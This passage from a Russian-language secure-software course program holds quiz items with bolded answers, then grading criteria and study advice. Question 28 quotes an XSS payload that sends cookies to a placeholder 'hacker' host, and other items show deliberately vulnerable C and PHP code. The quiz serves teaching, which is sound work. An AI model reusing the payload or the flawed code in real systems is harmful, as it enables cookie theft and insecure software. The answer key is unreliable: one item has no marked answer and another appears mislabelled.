- Переполнение буфера
- Целочисленное переполнение
- **Уязвимость форматной строки**
- Переполнение буфера и целочисленное переполнение

20. Найдите и определите тип уязвимости в следующем примере кода:

```

char *response
int nresp = packet_get_int();
if (nresp > 0) {
    response = xmalloc(nresp*sizeof(char*));
    for (i = 0; i < nresp; i++)
        response[i] = packet_get_string(NULL);
}

```

- Переполнение буфера
- **Целочисленное переполнение**
- Уязвимость форматной строки
- Переполнение буфера и целочисленное переполнение

21. Какие основные методы используются для моделирования угроз при разработке ПО?

- Поток данных для архитектуры
- Дерево угроз
- Функциональная безопасность
- **Все перечисленное выше**

22. Уровень безопасности ПО можно охарактеризовать с точки зрения:

- Количество уязвимостей
- Уровень риска уязвимостей
- Причины уязвимостей (ошибки в коде, архитектурные недостатки, проблемы конфигурации)
- **Все перечисленное выше**

23. Какова основная цель безопасности, определяемая принципом одного источника (SOP) в Web технологиях?

- Контроль доступа
- Аутентификация
- **Изоляция**
- Фильтрация

24. Что из перечисленного ниже не считается одним и тем же источником для следующего URL:

`http://www.example.com/dir/page.html`

- `http://username:password@www.example.com/dir2/other.html`
- `http://www.example.com/dir2/page.html`
- `http://www.example.com/dir/page2.html`
- **`http://www.example.com:81/dir/page.html`**

25. Найдите и определите тип уязвимости в следующем примере кода:

```
<?php
if($_FILES['uploadedfile']['type']
    != "image/gif") {
    echo "Sorry, disallowed. Not a GIF.";
    exit;
}
$uploadfile = "/uploads/" . basename($_FILES['uploadedfile']['name']);
... store $uploadfile ...
```

- Внедрение команд ОС
- Подделка параметров HTTP
- **Включение удаленного файла**
- Загрязнение параметров HTTP

26. Каков наиболее безопасный способ создания секретных токенов проверки, защищающих от CSRF атак?

- Использование хеша идентификатора пользователя
- Использование HMAC идентификатора сеанса
- Использование независимого от сеанса одноразового номера
- Использование зависимого от сеанса одноразового номера

27. Каков наиболее эффективный метод защиты от атак с использованием SQL-инъекций?

- Фильтрация
- Шифрование
- **Подготовленные выражения**
- Токены доступа

28. Предположим, вы только что нашли в журналах apache вашего веб-сервера следующую строку, полученную в результате ввода данных пользователем. Для какой уязвимости может быть предназначен данный эксплойт?

```
"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>
```

- CSRF
- **XSS**
- SQL инъекция
- Обход каталогов

29. Какие типы атак межсайтового скриптинга (XSS) существуют?

- Хранимые
- Отраженные
- На основе DOM
- **Все перечисленные выше**

30. Существуют различные стратегии управления рисками информационной безопасности. Какой из них вы бы выбрали, если хотите снизить потенциальный ущерб после успешной эксплуатации уязвимостей и не остановить связанные бизнес-процессы?

- Защита
- Передача
- **Смягчение**
- Прекращение

Критерии оценивания сформированности компетенций

Оценивание уровня учебных достижений, обучающихся по дисциплине (модулю), осуществляется в виде текущего контроля успеваемости и промежуточной аттестации.

В рамках внутренней системы оценки качества образовательной деятельности по программе обучающимся предоставляется возможность оценивания условий, содержания, организации и качества образовательного процесса по данной дисциплине (модулю).

Промежуточная аттестация по дисциплине (модулю) осуществляется в форме экзамена, при этом проводится оценка компетенций, сформированных по дисциплине.

Система оценивания результатов обучения по дисциплине (модулю)

Знания, умения и навыки обучающихся при промежуточной аттестации определяются в следующей форме: «отлично» (А), «хорошо» (В), «удовлетворительно» (С), «неудовлетворительно» (D).

Критерии оценивания результатов обучения по дисциплине (модулю)

Результат обучения по дисциплине (модулю)	Общая характеристика результата обучения по дисциплине (модулю)
---	---

А «Отлично»	Обучающийся владеет знаниями предмета в полном объеме рабочей программы, достаточно глубоко осмысливает дисциплину; самостоятельно, в логической последовательности и исчерпывающе отвечает на все вопросы, подчеркивая при этом самое существенное, умеет анализировать, сравнивать, классифицировать, обобщать, конкретизировать и систематизировать изученный материал, выделять в нем главное: устанавливать причинно-следственные связи; четко формирует ответы, свободно читает результаты анализов и других исследований и решает ситуационные задачи повышенной сложности; хорошо знаком с основной литературой и методами исследования большого объема, необходимым для практической деятельности; увязывает теоретические аспекты предмета с задачами практического значения.
В «Хорошо»	Обучающийся владеет знаниями предмета практически в полном объеме рабочей программы; самостоятельно, в логической последовательности и исчерпывающе отвечает на все вопросы, подчеркивая при этом самое существенное, умеет анализировать, сравнивать, классифицировать, обобщать, конкретизировать и систематизировать изученный материал, выделять в нем главное: устанавливать причинно-следственные связи; четко формирует ответы, свободно читает результаты анализов и других исследований и решает ситуационные задачи повышенной сложности; хорошо знаком с основной литературой и методами исследования большого объема, необходимым для практической деятельности; увязывает теоретические аспекты предмета с задачами практического значения.
С «Удовлетворительно»	Обучающийся владеет основным объемом знаний по дисциплине; проявляет затруднения в самостоятельных ответах, оперирует неточными формулировками; в процессе ответов допускаются ошибки по существу вопросов. Обучающийся способен решать лишь наиболее легкие задачи, владеет только обязательным минимумом методов исследований.
D «Неудовлетворительно»	Обучающийся не освоил обязательного минимума знаний предмета, не способен ответить на вопросы даже при дополнительных наводящих вопросах преподавателя.

Методические указания для обучающихся по освоению дисциплины (модуля)

Вид учебных занятий/деятельности	Деятельность обучающегося
Лекция	Написание конспекта лекций: кратко, схематично, последовательно фиксировать основные положения лекции, выводы, формулировки, обобщения; пометить важные мысли, выделять ключевые слова, термины. Обозначить вопросы, термины или другой материал, который вызывает трудности, пометить и попытаться найти ответ в рекомендуемой литературе. Если самостоятельно не удастся разобраться в материале, необходимо сформулировать вопрос и задать преподавателю на консультации, во время семинарского (практического) занятия.
Практическое (семинарское) занятие	При подготовке к семинарскому (практическому) занятию необходимо проработать материалы лекций, основной и дополнительной литературы по заданной теме. На основании обработанной информации постараться сформировать собственное мнение по выносимой на обсуждение тематике. Обосновать его аргументами, сформировать список источников, подтверждающих его. Во время семинарского (практического) занятия активно участвовать в обсуждении вопросов, высказывать аргументированную точку зрения на проблемные вопросы. Приводить примеры из источниковой базы и научной и/или исследовательской литературы.
Устный/письменный опрос	Отвечать, максимально полно, логично и структурировано, на поставленный вопрос. Основная цель – показать всю глубину знаний по конкретной теме или ее части.
Эссе	Написание прозаического сочинения небольшого объема и свободной композиции, выражающего индивидуальные впечатления и соображения по конкретному поводу или вопросу и заведомо не претендующего на определяющую или исчерпывающую трактовку предмета. При работе над эссе следует четко и грамотно формулировать мысли, структурировать информацию, использовать основные

	понятия, выделять причинно-следственные связи. Как правило эссе имеет следующую структуру: вступление, тезис и аргументация его, заключение. В качестве аргументов могут выступать исторические факты, явления общественной жизни, события, жизненные ситуации и жизненный опыт, научные доказательства, ссылки на мнение ученых и др.
Подготовка к промежуточной аттестации	При подготовке к промежуточной аттестации необходимо проработать вопросы по темам, которые рекомендуются для самостоятельной подготовки. При возникновении затруднений с ответами следует ориентироваться на конспекты лекций, семинаров, рекомендуемую литературу, материалы электронных и информационных справочных ресурсов, статей. Если тема вызывает затруднение, четко сформулировать проблемный вопрос и задать его преподавателю.
Практические (лабораторные) занятия	Практические занятия предназначены прежде всего для разбора отдельных сложных положений, тренировки аналитических навыков, а также для развития коммуникационных навыков. Поэтому на практических занятиях необходимо участвовать в тех формах обсуждения материала, которые предлагает преподаватель: отвечать на вопросы преподавателя, дополнять ответы других студентов, приводить примеры, задавать вопросы другим выступающим, обсуждать вопросы и выполнять задания в группах. Работа на практических занятиях подразумевает домашнюю подготовку и активную умственную работу на самом занятии. Работа на практических занятиях в форме устного опроса заключается прежде всего в тренировке навыков применять теоретические положения к самому разнообразному материалу. В ходе практических занятий студенты работают в группах для обсуждения предлагаемых вопросов.
Самостоятельная работа	Самостоятельная работа состоит из следующих частей: 1) чтение учебной, справочной, научной литературы; 2) повторение материала лекций; 3) составление планов устных выступлений; 4) подготовка видеопрезентации. При чтении учебной литературы нужно разграничивать для себя материал на отдельные проблемы, концепции, идеи. Учебную литературу можно найти в электронных библиотечных системах, на которые подписан АНО Университет Иннополис.
Доклад	Публичное, развернутое сообщение по определенной теме или вопросу, основанное на документальных данных. При подготовке доклада рекомендуется использовать разнообразные источники, позволяющие глубже разобраться в теме. Учебную литературу можно найти в электронных библиотечных системах, на которые подписан АНО Университет Иннополис.
Дискуссия	Публичное обсуждение спорного вопроса, проблемы. Каждая сторона должна оппонировать мнению собеседника, аргументируя свою позицию.
Тестирование (устное/письменное)	При подготовке к тестированию необходимо проработать материалы лекций, семинаров, основной и дополнительной литературы по заданной теме. Основная цель тестирования – показать уровень сформированности знаний по конкретной теме или ее части.
Выполнение домашних заданий и групповых проектов	Для выполнения домашних заданий и групповых проектов необходимо получить формулировку задания от преподавателя и убедиться в понимании задания. При выполнении домашних заданий и групповых проектов необходимо проработать материалы лекций, основной и дополнительной литературы по заданной теме.

Для подготовки к занятиям рекомендуется использовать представленные источники в электронных форматах и дополнительную литературу.

8. ДОПОЛНИТЕЛЬНЫЕ СВЕДЕНИЯ

Данная программа и/или ее фрагменты не могут быть использованы другими образовательными организациями без соответствующего разрешения АНО ВО «Университет Иннополис».